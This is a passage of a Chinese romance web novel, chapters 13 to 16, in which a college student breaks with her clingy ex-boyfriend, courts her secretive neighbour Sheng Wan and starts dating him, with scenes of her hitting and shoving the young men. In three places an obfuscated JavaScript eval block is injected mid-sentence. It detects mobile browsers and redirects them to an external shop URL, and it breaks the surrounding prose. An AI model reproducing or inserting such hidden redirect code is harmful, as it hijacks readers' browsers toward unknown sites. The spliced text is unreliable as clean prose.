薛谭不再掐万晨霜了,但依旧没松手,冷冷看着他:“还有话要说吗?” 万晨霜被薛谭吓得直接哭出来,脑筋突然上道了脱口而出:“对不起,对不起姐姐!我不该那么没礼貌!” 薛谭终于放过万晨霜,呵斥男孩出去。 男孩撇了撇嘴,还想要说些什么,大概是还没有放弃要和薛谭一起出去逛街。然而对上薛谭阴恻恻的视线,他吓得红脸煞白,赶紧说着对不起退出去了。 13. 第 13 章 开学前一天,薛谭回到公寓,刚刚走出电梯便见到了坐在门口的孟文霖。 “你在这干嘛?”她语气不太好,警惕地盯着少男,“我们已经分手了,少来纠缠我。” 其实他们分手第二天就已经把事情讲明了,当时就说好继续做朋友,薛谭以为孟文霖已经看开了,然而瞧少男面色惨白瘦了两圈的样子,就知道他还没有放下。 孟文霖坐了很长时间,猛地站起来眼前一阵阵的发黑。他不敢扶薛谭,只能靠在墙上反应一会,感觉好一些后才小心翼翼拽住女孩的衣袖,“我想走之前给你收拾一遍屋子。” 薛谭不耐烦甩开:“别纠缠不清。咱俩就不能好聚好散吗?” 孟文霖好看的桃花眼像是被露水打湿,十分委屈:“做朋友我也能帮你收拾房间啊。”他软下声音,低声下气恳求:“从小到大都是我帮你收拾桌子和房间,不给你干点活我浑身难受。” 薛谭生气:“我的屋子凭什么让你进来?说了不收拾就是不收拾你怎么听不懂人话呢?”她使劲提了孟文霖一腿,少男踉跄着往后退了两步,她彻底冷下脸:“孟文霖,别惹我生气。” 小腿肌肉还在隐隐作痛,孟文霖怎么也想不明白自己失去爱情后,为什么连他和桃桃之间深切的友情也在逐渐消逝。明明做的是和没有谈恋爱之前一样的事情,可是在女孩口中就成了“纠缠”。孟文霖闭上眼睛,深呼吸两口气,知道自己继续坚持下去只会惹得桃桃厌烦。他把买来的菜递给女孩,尽量在短时间内多说了几句叮嘱的话,便被女孩赶走了。 孟文霖爱薛谭,总是希望全世界最好的桃桃能被所有人喜欢,从前的他一直鼓励女孩多和别人交流,尝试着去交朋友。女孩如今真的改变了许多,有了属于自己的、和他毫无关系的朋友,也开始努力追求自己真正喜爱的人了。 她的世界不再只有他。 尽管已经预料到这一天终将来临,却不想来得是这样快。 孟文霖浑浑噩噩坐上前往另一个城市的高铁,如行尸走肉一般看着窗外急速闪过的风景,或许之前女孩要求自己前往别的城市读书时,两人精神上的分离便已经开始显现了。 泪水一滴一滴如同断了线的珠子落在手臂上,旁边坐的小男孩好笑地外头看他。孟文霖狼狈地抬起手想要擦去,却怎么也擦不完。 终于,心中的悲痛冲垮堤坝,孟文霖再也无法忍受薛谭的远去,他双手捂着脸失声痛哭,终于承认了自己的自私。 他一点也不想把桃桃分给别人。 薛谭和孟文霖冷战了一个晚上,第二天早上男孩就又恢复了往日的青春阳光,好似前一晚的隔阂从未存在过。 刚刚分手那段时间孟文霖看着也挺正常,结果还不是来到她公寓门前发癫。薛谭有些生气,孟文霖在她这里的信任度直线下降。 正式开学第一天就有早八,她刚刚起来洗漱好准备做饭,门铃就响了起来。打开门一看,果不其然是帅气温柔的盛晚。 薛谭动了动鼻子,香甜的气味让人心情都不自觉变好起来,为了美味的早餐,她没有计较男孩这么多天没有和自己发消息的事情,大方打开门让他进来了。 也是在这时,她才注意到与少男光鲜美丽脸蛋截然不同的是,他的手臂上蔓延着恐怖骇人的伤痕。原本红色的伤口因为长时间没有处理而微微泛紫泛黑,虽然已经结痂了,可看起来依旧恶心。 从盛晚手上接过餐盘的薛谭愣了一下,后退两步远离歪头看自己的少男,撇开视线不去看他手臂上的伤,忍下嫌弃,“你走吧。” “啊......”盛晚另一只手摸上自己伤痕累累的胳膊,很是不解的样子:“我不能留下来和谭谭一起吃饭吗?” 薛谭像是听到了什么不可思议的话,转过头震惊地盯着盛晚的脸:“你胳膊那么难看我都要吃不下饭了!留下来干嘛?故意恶心我吗?”她顿时觉得手里的早餐也因为盛晚而变得脏兮兮,走过去一把把餐盘放回少男怀里,没好气道:“赶紧走!别赖在我这!” 盛晚低下头,一副备受打击的模样,语速很慢地询问:“谭谭不吃早餐了吗?” “谁要吃你做的饭啊!”薛谭小心避开他的胳膊,推着少男的肩膀就要把他赶出去,“胳膊那么丑就不要出来见人啊,你就那么讨厌我吗非得一大清早过来膈应我?” “我不是那个意思。”盛晚软下声音,把受伤的胳膊背在身后,小声解释:“这是被谭谭男朋友打的。” 薛谭好笑:“你不是说不知道那个人是谁吗?” 于是盛晚不再说话,只是用那双情意绵绵的黑眼眸看着薛谭,眉头委屈地皱起来,我见犹怜。 “还敢和我装模作样?”薛谭气恼,突然用力按住盛晚的腰把他推出去,少男似乎被大力推倒在地上,她也不在意,嘭的一声关上门。 她越想越生气,恨恨地做着早餐。这个盛晚绝对是故意和自己对着干,既然想给她做饭那就把早餐放在门口啊,还非得假惺惺地端进来露出伤痕累累的手臂。 真是的!又不是她打的,他来她这里发什么神经。一面送早餐一面让她看见那么丑陋的手臂,不就是故意膈应人嘛! 薛谭用力咬下馒头,亏自己之前还在想要不要试着追盛晚,结果这个男人竟然那么恶毒,她不禁庆幸自己还没有付诸实践,否则就太丢脸了。 吃过早饭来到校园里,十月份天气已经开始变冷,学校里随处可见的万年青依旧翠绿逼人。 薛谭喜欢绿色,手掌拂过有些扎人的灌木丛,捡起飘落在上面的一片树叶,她拿在手里转了转,看地上没有一片落叶,垃圾桶也找不到,于是只好先塞进了兜里。 因为是一个专业的,薛谭来到教室又见到盛晚了。 黑发雪肤的美丽少男坐在教室最后一排,清风带着明媚的阳光闯进来,被他优越的侧颜切割成细碎的光影,仿佛春日山间小溪在流动,像是落入尘间的精灵。 他穿了绿色薄外套,挡住了清晨被薛谭嫌弃的伤痕,不知为何手上拿着一朵小白花,勃勃生机在他周身涌动。 薛谭走过去坐在他身边,伸手从他手里拿过花,使少男不得不看过来。 再见到薛谭的一瞬间,盛晚立刻展露笑颜,男孩语 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13582758|141742||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 调温柔得就像那朵白色小花,“谭谭吃早饭了吗?” 薛谭不明白盛晚怎么那么纠结于自己的早餐,她把花还给男孩,点点头,“吃了。”说罢,她盯着盛晚纤长浓密的睫毛,问:“胳膊上的伤抹药了吗?” 他们两个默契地把今天早上的小风波遗忘掉。 如果是孟文霖的话,一定会反问“桃桃这是在关心我吗”,可盛晚只是幅度很小地摇了摇头,温温柔柔说:“还没有呢。” 薛谭一下子抬高声音,但也只是能正常听到的程度,“都那么多天你自己不知道上点药?就这么放着不管万一留疤了怎么办啊?” 盛晚眨了眨眼,稍微向薛谭这边靠了点身子,他垂下眼皮,让人看不清真正的情绪,“我只几天一直在想那个问题。” “什么问题?” “谭谭会希望我还手吗?” 薛谭恶寒,远离他,“真是有病。” 盛晚却是捂着嘴咯咯笑起来,他抬手打开薛谭的手,将白色小花放置在女孩掌心,“我已经知道答案了,其实当时就知道了,只不过还是想亲口问问。”他松开手,微笑着回答了薛谭之前的问题:“今天回去就会开始抹药,谭谭放心好了,不会留疤的。” 薛谭盯着手里的花几秒钟,洁白小花在阳光的浸染下盛放出浅金色的光芒。终究没有扔掉,她将花朵夹在大学第一堂课的课本里,问盛晚:“你到底是谁啊?” 她可以肯定盛晚是故意接近自己,大约从前就是认识自己的,可是她脑海中完全没有这个人的印象。 盛晚捏着书皮的手猛地用力,他忽然转头看向窗外,嘴角勾出一抹不易察觉的笑容,平静说:“只是你的邻居而已。” 薛谭这回没有像以前一样为盛晚的装模作样感到生气,脾气很好地拿起笔在书本第一页写上自己的名字,“你不想说就算了,想知道的事情我会自己弄清楚。还有——” 她突然递给盛晚一片微微泛黄的树叶,从她的视角只能看见男孩粉色的耳垂和一点点鼻尖,“我要追你了。” 几乎是薛谭话音落下的一瞬间,盛晚便转过头来,他们对视很久。 上课铃声响起,盛晚从薛谭手里接过枯萎了的叶子,看了五六秒,倏尔笑了:“为什么送我这个。” “因为要追你啊。”薛谭理所当然地说。 “我是说——”盛晚看向薛谭的目光中带着点点笑意,会发光似的,像是夏夜里星光稠密的天空,“追我为什么要送我叶子?” 她惊讶:“这可不是普通的树叶,这是包含了我心意的树叶!以前有人送过你叶子吗?” 盛晚笑看着薛谭,没有说话。 于是薛谭继续说:“没有人送过你树叶,那是因为没有人像我一样爱你。才刚刚入秋,你知道刚才我找了多久才找到落叶吗?”她握住盛晚的手,认真说:“我只送过你树叶,在我心里,你就是最特别的——所以——” 薛谭话音一转:“你一定要好好治疗你的胳膊,千万不要让它留疤,否则我会很伤心的,明白吗?” 盛晚忍不住笑出来,点头:“好。” 14. 第 14 章 自从薛谭挑明心意后,两人关系拉近了不少。 具体表现在盛晚恢复了给薛谭做饭的机会,而薛谭也不像之前对盛晚那么抗拒了。 薛谭作息很不规律,平时工作日还好一些,到了周六周日几乎昼夜颠倒,有时候凌晨三四点打完游戏饿了就会直接给盛晚打电话,让他赶紧做好饭送过了。至于白天的时候,薛谭虽然大部分时间都在睡觉,可是谁也不知道她会不会突然醒过来吃饭,所以盛晚白天三顿饭也要做好薛谭那一份。 追求者薛谭曾经问过盛晚会不会觉得麻烦,得到的是“谭谭不是在追我吗?总得给谭谭一个追我的机会吧。”这样的回答。这让她深感欣慰,每次上学的路上都会捡落叶或者石子送给少男当作奖励——不对,是追求礼物。 凌晨一点三十五分,薛谭盘腿坐在沙发上,抱着玩偶安静看着厨房里忙活的盛晚,突然意识到少男每天那么殷勤围着自己转,可是对于做她男朋友这件事却闭口不谈,这样的行为似乎就是张礼鸢口中“吊着女孩的渣男”。 原来是这样么? 被一通电话叫过来的盛晚正系着粉色围裙在厨房里做饭,似乎是感应到薛谭的视线,他忽然转过头来冲薛谭笑了笑,“面马上就煮好了,谭谭要不要吃点别的菜?” 薛谭摇摇头,起身走过去和盛晚站在一起,两人一起看着咕噜咕噜往外冒着热气的锅。 “你煮的什么面?” “是西红柿鸡蛋面哦。”盛晚眉眼弯弯看着薛谭,“谭谭最近睡眠不足有点上火,还是吃点清淡的比较好。” “是吗。”薛谭挠了挠头,她倒没觉得自己身体哪里出了问题。盯着在锅里面翻滚出水花的面条,她突然问:“盛晚,你是不是故意吊着我?” “欸?”盛晚不明所以地歪了歪头,“谭谭怎么这么说?” “因为啊。”薛谭转头看向盛晚,目光清明:“你喜欢我的吧,也知道我在追你,为什么不做我男朋友?” 盛晚眨了眨眼,如实说:“谈恋爱有时候不需要把每个阶段分那么清楚的吧,有的时候两个互相喜欢的人不需要刻意说出‘让我做你男朋友吧’‘你能做我女朋友吗’这类话,就已经自然而然在一起了。” 薛谭迷惑:“什么意思?你是说我们已经是情侣了?” “不是哦。”盛晚双手合十放在靠在一侧的肩膀上,很真诚地望着薛谭:“前提是互相喜欢。” 薛谭毫不犹豫:“我们已经互相喜欢了。” 盛晚看了眼薛谭认真的脸庞,移开视线后又情不自禁看过去,最后忍不住笑出声。 “你笑什么?”薛谭气恼,锤了盛晚一拳。 “哈哈哈。”盛晚微微偏头,以防女孩的拳头落在脸上,他说出来抱怨的话,语气却很温柔,眼睛里也含着点点笑意:“可是,谭谭根本不喜欢我吧。” 他郑重地像是在发誓:“我想和谭谭成为互相喜欢着彼此的情侣。” 薛谭不可置信地盯着盛晚,像是听到什么笑话,“你又在胡言乱语什么?我是傻子么连自己感情都分不清楚?”面对盛晚对她感情的否定,她第一时间感到生气,却不是气盛晚不相信自己,而是气盛晚觉得自己是个分不清楚自己感情的笨蛋。 她拉过盛晚要去盛面条的手,逼视少男:“我喜欢你,见到你的第一眼就喜欢上你了,我长那么大第一次有心动的感觉,是因为你,从那之后的每一次心动也是因为你。”她捏过盛晚的下巴不让他转头,深深看进少男深邃的眼眸:“做我男朋友吧,盛晚。” 没想到少男毫不犹豫摇头,“谭谭喜欢的不是我,只是我的脸。”他忽然挣开薛谭的桎梏,一边关火一边说:“就算我现在成为了谭谭的男朋友,用不了多长时间就会变成谭谭的前男友吧。” 盛晚垂眸捞面条,长睫毛在眼底打下一层阴影,让人看不清他的真实情绪,“谭谭说的没有错,我很久以前就认识你了,故意接近你也是别有目的。但是——”他放下两碗面条,转身看着面无表情的薛谭,“我为谭谭做的一切都是发自内心的。” “谭谭,我知道你喜欢我,可你喜欢的只是我的脸,谭谭,我不想成为第二个孟文霖。” “你当然不会成为第二个孟文霖。”薛谭没想到装了那么久的盛晚就那么轻易承认了,然而她此刻却没有多少探究的欲望,大概是已经知道有些事情盛晚不想说的怎么问都问不出来,想说的自然而然就吐露出来了。 她向少男保证:“你和他不一样。在我心中,你是最特别的那一个,盛晚,相信我好吗,我会对你好的。” 盛晚低头失笑,良久才说:“先吃饭吧,谭谭,你会真正喜欢上我的,等到那个时候,我就会告诉你一切。” 薛谭打翻盛晚手里的面条,并不买账:“盛晚,任何人都没资格评判我的感情,你也是。” 她厌烦盛晚这副好像一切尽在掌握的样子,高高在上地说什么“你不喜欢我”,甚至还用喜欢和她谈条件。薛谭承认自己不是一个聪明的人,在认识和处理感情上没办法做到十全十美,但这并不代表她就得像个什么都不懂的傻子一样被盛晚牵着鼻子走。 她双手环胸不去看盛晚,冷冷说:“你走吧,我不想吃了。” 盛晚站在原地沉默许久,直到薛谭回到客厅,他才找来把地上的面条收拾干净,又重新熬了一碗粥放在桌子上。他抬眸看了一眼低头打游戏的薛谭,没有说什么,回到厨房默默把锅碗瓢盆洗干净了。 第二天是周一,薛谭有早八。她困倦地喝了一杯咖啡,打开门就看见端着早餐的盛晚站在门外。 “对不起,谭谭。”盛晚立即道歉,“昨天晚上是我的错,我不该轻视谭谭的感情,真的很抱歉。每个人的感情都是独一无二的,也只有自己,才是最了解自己感情的人,一直以来是我太傲慢自大了,昨天伤害了谭谭,对不起。” 他道歉很诚恳,可薛谭并不领情:“嘴上说些空话有什么用,漂亮话我也会说。” 于是盛晚扑通一声跪下来,“谭谭,回去后我反思了很久,我确实是故意接近谭谭,但我从未做过任何伤害谭谭的事,以后也绝对不会做,因为从前 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13603770|141742||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就认识谭谭,所以自以为很了解你了,可是——”他仰头看向薛谭,眼含泪水,“不是这样的,最了解谭谭的人,是谭谭自己。” 他膝行上前一步,伸手轻轻拽住薛谭的裤腿,再一次无比郑重道歉:“对不起,谭谭,我保证不会有下次了。” 最了解谭谭的人,是谭谭自己——薛谭张了张嘴,哑口无言。 “算了。”薛谭撇过头,硬邦邦说:“你起来吧。” 两人之间第一次争执就这样结束了,走在去学校的路上,薛谭盯着地上两个人相互靠近又相互分离的影子,主动说:“盛晚,你知道么,见到你的第一天我就觉得你不对劲了,不是在图书馆前,而是回到家后。” 盛晚没有说话,静静等待在心里面组织语言的薛谭说话。 “还有后面那么多次接触,我也能看出来你的伪装,其实是你故意露出马脚的吧?”不等盛晚回答,她就继续说:“也不能说是故意露出马脚,大概在你最初计划的时候就没有想过去隐瞒。” 她忽然笑了一下,盛晚有一瞬间怔愣。 “我不介意你对我隐瞒你的过去,甚至,我根本不想知道那些。”薛谭希望她和盛晚之间只是单纯的她一见钟情追他,或者他从前对她一见钟情了然后故意勾引她,至于那些更加复杂的原因,说她逃避也罢,说她胆子小也罢,她一点也不想知道。 就像那段她几乎回忆不起来也不想回忆的悲痛经历,或许不是回忆不起来,只是她刻意忘掉了,脑海里一直催眠自己“忘记它忘记它......”于是平日里就绝不会主动回忆起来,那就相当于没有发生了。 包括高中时候考试成绩不理想了就把试卷扔掉装作没有这次考试一样,薛谭是个很擅长自欺欺人的人。 她摸了摸鼻子,不想让人觉得自己是个心大到离谱的傻子,于是小声为自己辩解:“如果以后我发现了你接近我的原因,我不会当作不知道的。” 盛晚靠近薛谭的那只手忽然抽动了一下,像是不受控制地想要靠近女孩,却又被主人强行压制下来。他侧头看向身边的女孩,只能瞧见她漆黑的发顶,发出的声音似乎有些颤抖,他也分不清了,“万一我是什么坏人呢?”他也为自己辩解:“——当然,我可不是坏人,只是举个例子。” 薛谭皱着眉头想了一会,踢飞路上一块石子,“我觉得你喜欢我。”女孩在这方面倒是有很高的配得感,与她平日里面对女孩子们唯唯诺诺犹豫不安的样子形成鲜明对比。 盛晚浑身一紧,心脏却柔软得快要化掉。 女孩弯下腰又直起身,她转身正对着盛晚,于是盛晚也转身,两人相对而立。 薛谭伸出拳头,在盛晚不解的注视下翻转过来,然后打开。 是一颗心形的的石头。 她抿了抿唇,把石头塞进少男口袋里便背着书包跑向了教室。 徒留下盛晚一人站在原地。 上课铃声骤然响起,他愣愣地抬起手捂紧胸口,剧烈的心跳声铺天盖地地汹涌而来,压过所有声音,几乎震碎他的耳膜。 15. 第 15 章 两人今天来得都有点晚,不过薛谭好得是在上课铃响之前进入教室的。万幸的是坐在后面的南采旁边还有个空位置,她感激地坐下来,上课铃声就响了。 过了好一会,迟到的盛晚才从后门走进教室,少男大致看了一圈没找到位置,无奈只好坐在了第一排,薛谭在后面偷笑。 肩膀忽然被人戳了戳,薛谭回头去看,原来是室友张礼鸢。 “你和他认识呀?” 薛谭疑惑:“谁?” 张礼鸢朝前排抬抬下巴,“盛晚啊。” 她有一瞬间怔愣,从前孟文霖带来的阴影还历历在目,犹豫两秒还是点点头如实说:“认识。” 薛谭有些纠结要不要把自己正在追盛晚的事情说出来,毕竟现在他们虽然都对谈恋爱的事闭口不谈,可是交往是必然的,只是要等一个合适的时机。室友们都知道自己有一个异地恋男友......到时候被发现了会不会多想? 归根到底还是盛晚太优秀了,尽管少男现在不像是刚开学时作为热点话题流行于校园集市和八卦群聊里了,但依旧备受瞩目。如果大家知道了薛谭在追盛晚,一定会觉得她不自量力吧。 薛谭怕张礼鸢多问,赶忙装作听课的样子转回了身。 一节课下来注意力几次放在第一排挺拔的身姿上,与其余弯腰驼背或者虎背熊腰的男生相比,盛晚不仅外形上甩出别人一大截,气质也恍若纯净无暇的天使降临世间,看他简直就像看童话电影一样。 她微不可察地叹了一口气,再一次清楚认识到自己和盛晚在别人眼中的差距。 课堂上,老师提问问题,初入茅庐的大学生们大多数如薛谭一般低头装死,也有几个在纸上涂涂画画,蠢蠢欲动想要举起手,但还在犹豫。 唯有第一排一只白皙修长的手举起,一下子引起所有人注意。 是盛晚。 薛谭微怔,没有想到盛晚会是上课积极回答问题的那类人。或许因为长相有种非人的美丽,所以一旦少男做出什么常人会做的事,就会产生强烈的违和感,叫薛谭很是震惊。 不是出彩到激动人心的回答,但是完美到无可挑剔。 她静静看着因此更受周围学生们关注的盛晚,一点点春心萌动褪去,水笔下意识握紧,“刺啦——”一声不小心划在书上,力气之大割破了纸张。 什么啊,还真是优秀。 轻而易举就得到了所有人的喜爱,甚至还包括薛谭的。说到底这么厉害的人为什么要待在她身边呢,口口声声说什么喜欢自己,可是像她这种一无所有的人,根本不可能对他产生什么吸引力才对吧? 薛谭脸色有点难看,终于收回目光不再看盛晚。 一整天下来她都对少男避而不见,晚上放学后更是直接忽略手机里“我们一起”的消息,提起书包就走。 身后传来追逐的脚步声,薛谭无措地抬起头,便见到教学楼走廊里许多人向自己投来怪异目光。一瞬间意识到是盛晚在身后追自己引人注目了,她张望四周,呼吸错乱了片刻,忽然拔腿就跑。 跟在后面的盛晚见到女孩奔跑的背影,下意识加快速度想要追过去,然而在注意到周围人看过来的目光时,他意识到什么,停下了脚步。 有个女生见他停下,大胆走上前要联系方式。 盛晚垂在身侧的手缓缓握紧,深呼吸一口气礼貌谢绝后,抬脚往反方向绕远路走出去。 直到走到无人在意的阴影中,盛晚白日里温和从容的笑容也全部消失殆尽。 他面无表情掏出手机查看,白天给谭谭发的许多消息都没有得到回复。他想到了谭谭今天可能会生气,却没有预料到女孩反应会那么大。 总是希望把自己完美的一面呈现给心爱的女孩,愚蠢地以为这样女孩就会更加喜欢自己,更加想要得到自己。然而事实是—— 如果是薛谭的话,面对众人眼中闪闪发光的太阳,第一反应不是靠近也不是拥有,而是抗拒,是逃避。 到底该怎么做,到底怎样才能接近谭谭,怎样才能被谭谭稍微喜欢一点。 手机屏幕的亮光照射在少男漆黑沉郁的眸子里,此时此刻无论是谁,从这张众人口中貌美无双的脸蛋上看去,第一反应唯有恐惧。 明明没什么表情,眼底却好似有一股阴湿粘稠的黑气爬满整张脸,像黑夜里暴雨打湿的垃圾堆,肮脏腥臭,散发着腐烂的味道。 过了许久,他才重新迈开脚步走上返回公寓的道路,头埋得很低,从昏暗的远处望去,简直像个没头人一样可怖。 薛谭气得砍掉他的头——游戏里大反派的头。 气死她了气死她了,亏她还好心送盛晚石头,结果那个臭男人是怎么做的?不要脸的贱男人!收了她的石头就是她的人了,可他竟然还大摇大摆地惹人注意,非得让全世界人都喜欢他是吧! 怎么那么不要脸! 怎么打不过啊啊连个破游戏都跟她对着干!薛谭猛地把手柄摔出去,她生气地看着显示屏里耀武扬威的反派,站起身就要找盛晚对峙。 不料刚刚打开门,便见到了站在外面的盛晚。 薛谭怒不可遏,抬手扇了他一巴掌,伸出手:“把我的石头还给我!” 少男被打偏头,白皙的脸颊上迅速浮现红彤彤的巴掌印。他有些勉强地笑了一下,“谭谭,发生什么事了?” 不等薛谭回答,盛晚就先一步问出来:“因为我今天上课回答问题了吗?” “哈?”薛谭不可置信看着盛晚,像是受了多大冤屈似的,“你到底在胡说八道什么啊!我是那么小气的人吗?”使劲推了盛晚一下,质问:“盛晚,在你眼中我就是那么不堪的人吗?” 盛晚慌忙握住薛谭的手,快速解释:“绝对不是!对不起谭谭,我确实不知道谭谭生气的原因,是我的错,问这个问题也只是因为我今天只做了这一件不一样的事情,所以下意识就说出口了。” 在某些方面,盛晚是个坦率得过分的人,“况且,假如谭谭因为我上课回答问题生气了,这也是应该的,和谭谭小不小气没有关系。” 薛谭冷冷望着盛晚,示意他继续说下去。 少男却是羞涩一笑,配上他脸上的巴掌印莫名有种喜感,“我长得还算漂亮吧?虽然说还不是谭谭的男朋友,但是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13612346|141742||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 今天早上既然收下了谭谭送的爱心石头,那就算半个谭谭的人了。明明知道自己的外貌很惹人注意,但还是不检点地站起身抛头露面,惹人注意,是我的错,对不起谭谭。” 薛谭可不上当,她甩开少男的手,“既然知道为什么还要这样做?” 盛晚实话实说:“是刚刚才知道的。” 薛谭没有说话,静静盯着盛晚,而少男也闭上了嘴没有说话,两人就这么对视了一会,她移开目光,硬邦邦说:“我生气不是因为这个。” 盛晚双手撑在腿上,微微弯腰,认真看向薛谭,“那是因为什么?” 两人一下子离得很近,盛晚放大了的帅脸怼在眼前,薛谭忍住强吻他的冲动,后退一步,“好吧,确实是气你不检点,但不是因为上课回答问题。”她默默为自己辩解:“我不是那么小气的人。” 盛晚却说:“小气又不犯法。” 薛谭张嘴想要反驳,又觉得和少男大半夜争论这个实在幼稚,于是没有说什么,“你回去吧,我要休息了。” 盛晚直起来腰,小声询问:“谭谭还生气吗?” 薛谭不想回答这个问题,只是警告:“以后在学校里离我远点。” 于是盛晚不再问了,乖巧说:“好的。” 薛谭关上门,检查了一下手柄没有摔烂,放下心来,随手抱起一个玩偶继续回到沙发上打游戏。 这回成功把反派的头给砍下来了。 游戏胜利带给薛谭的满足感是任何事物都无法比拟的,她高兴地抱着怀里的玩偶亲了又亲,然后打开手机清理消息。 孟文霖常常给薛谭发消息,就像从前一样,唯一不同的就是不给她看身体了。不过无所谓,薛谭满不在乎地想,盛世美颜可比那几块没用的肌肉好看多了。 她往上翻了翻,上次回消息还是半个月前,似乎自从下定决心追盛晚开始,她就很少回复孟文霖的消息了。孟文霖倒是不厌其烦地每天给薛谭发小作文或者分享自己的日常,不过她嫌手机一直响就直接开免打扰了。 其实薛谭很想和人讲讲盛晚,虽然在外人面前不爱说话,但她其实是个倾诉欲很强的人。从前还跟孟文霖在一起的时候,就常常是她天南海北讲个不停,而孟文霖笑着在一旁听。 不过显然,和孟文霖将盛晚不识一个明智的抉择,想想也知道孟文霖只会说些假大空的话。 她无聊地躺在床上翻看几条孟文霖的消息,其中一条在说加入社团的事情。出于对朋友的关心,薛谭回复:【你加入什么社团了吗?】 她怀疑孟文霖根本不睡觉,否则怎么每次大半夜都能秒回消息,据她所知少男的生活作息习惯可比她健康多了。 【桃桃!】【还没想好要不要加入社团,不过我进了学生会。桃桃呢?桃桃有没有什么打算啊?】 薛谭想了一下,过几天会有学校所有社团和部门招新会,她打算到时候和南采一起去看看,【看情况吧,不过我应该不会进什么部门。】 那边好像又发来了什么消息,不过薛谭太困了,没有仔细看,【我好困,要睡了。】 【好的!晚安桃桃!】 16. 第 16 章 周二上午薛谭没有课,一觉睡到了大中午。 午饭的时候盛晚也问起了薛谭社团的事情,她给出了和孟文霖一样的说法,又问少男要不要加入什么社团和部门。 盛晚笑着看向薛谭,是回答问题也是在征求意见:“我想和谭谭一起。” 薛谭微愣,没有立刻生气,而是反问:“你不是答应了要和我保持距离吗?” 盛晚点头,再次保证:“我不会在学校里暴露和谭谭的关系的,只是因为不知道该加入什么社团,所以干脆跟着谭谭一起做选择好了。” 少男盘腿坐在地上,坐在沙发上喝粥的薛谭只能看见他的一半侧脸,他细密的长睫毛忽而扇动一下,于是她便对上了一颗漆黑眼眸。他勾起嘴角仰头朝薛谭笑了一下,便继续低头用勺子小口喝着粥。 很乖巧,也很动人。 于是薛谭脱口而出:“盛晚,做我男朋友吧。” 少男嘴角笑意更盛,眼眸亮晶晶的,终于不再是漆黑一片,像是满天繁星的仲夏夜,撩人心弦。 “好哦。”他说。 薛谭眨了眨眼睛,像是还未反应过来,也有可能是一时沉浸在盛晚美丽醉人的眼睛里出不来,总之没有反应。 她没想到两个人确定关系是在这样平淡的早晨,他们坐在一起吃饭,和从前的每一个清晨没有区别。然而就是这样寻常的时刻,恍惚间的一瞬,反而成了后来两个人之间最珍贵的回忆。 明确的恋爱关系并未给两人之前就已经存在的暧昧氛围带来什么改变,比起整天骚里骚气勾引薛谭的孟文霖,盛晚更像是落入凡尘的圣洁天使,误入人世的貌美精灵。或许因为盛晚那张脸太过纯净无暇,薛谭喜爱吻他胜过于上床。 如果非要说作为薛谭男朋友的盛晚获得了什么特殊待遇,那么就是他可以坐在薛谭家的沙发上了。 薛谭把少男压在沙发上,双臂环住他白里透粉的脖颈,两人离得很近,节奏均匀与杂乱的呼吸彼此交融,他们眼中倒映着彼此。属于少男的那双黑曜石般静谧深邃的瞳孔逐渐变得湿润,盈盈水光中,薛谭看见他眼里的自己逐渐变得模糊。 下一秒—— 盛晚直接哭了出来。 泪珠滚落,打湿漂亮的下眼睫,他轻轻眨了一下眼又睁开,眼眶变得鲜红,也濡湿了纤长浓密的上眼睫。 “不是吧?”薛谭突然远离盛晚,放下胳膊从一旁的桌子上抽出纸巾盖在他脸上,胡乱擦了两下,“我连亲都没亲呢大哥。” 盛晚却突然搂住薛谭的腰,忍不住将脸埋在女孩颈窝,声音哽咽:“对不起......谭谭,我、我就是太高兴了......我太幸福了......” 为了不使自己倒下去,薛谭下意识拽住盛晚的衣领。肩膀处的布料很快变得湿热,她无语凝噎,被盛晚突如其来的哭泣弄得不上不下的,一时间不知该作何反应。 细碎的哭泣声断断续续钻进耳蜗,能够听出来少男已经极力压制哭声,但发自内心的感情永远最汹涌澎湃、难以阻拦的。 薛谭就这么被盛晚抱着,视线不自觉落在满屋子的玩偶上,她们有的是动物,有的是植物,有的则是一些稀奇古怪的幻想生物,形态各异,但是无疑给孤独一人的薛谭带来的极大的安慰。 喜欢玩偶是因为不擅长和人类打交道,虽然性格内向但薛谭从小就不认为自己是个享受孤独的人。就像她从前总是和孟文霖分享自己绚丽多彩的梦境以及一些小事一样,她很希望能够有人留在她的世界和她一起躲起来,陪伴她。 可孟文霖是做不到的。 盛晚还在哭,薛谭漫无目的地想,孟文霖积极乐观的阳光美少男,注定和她不是一个世界的。尽管自己也在尝试着努力和外界接触,努力去和别人交朋友,可是每一次被孟文霖鼓励着这样做时,她的内心深处总是充满了疑惑。 为什么一定要她走出去呢?爱她就要把她夸得天花乱坠吗? 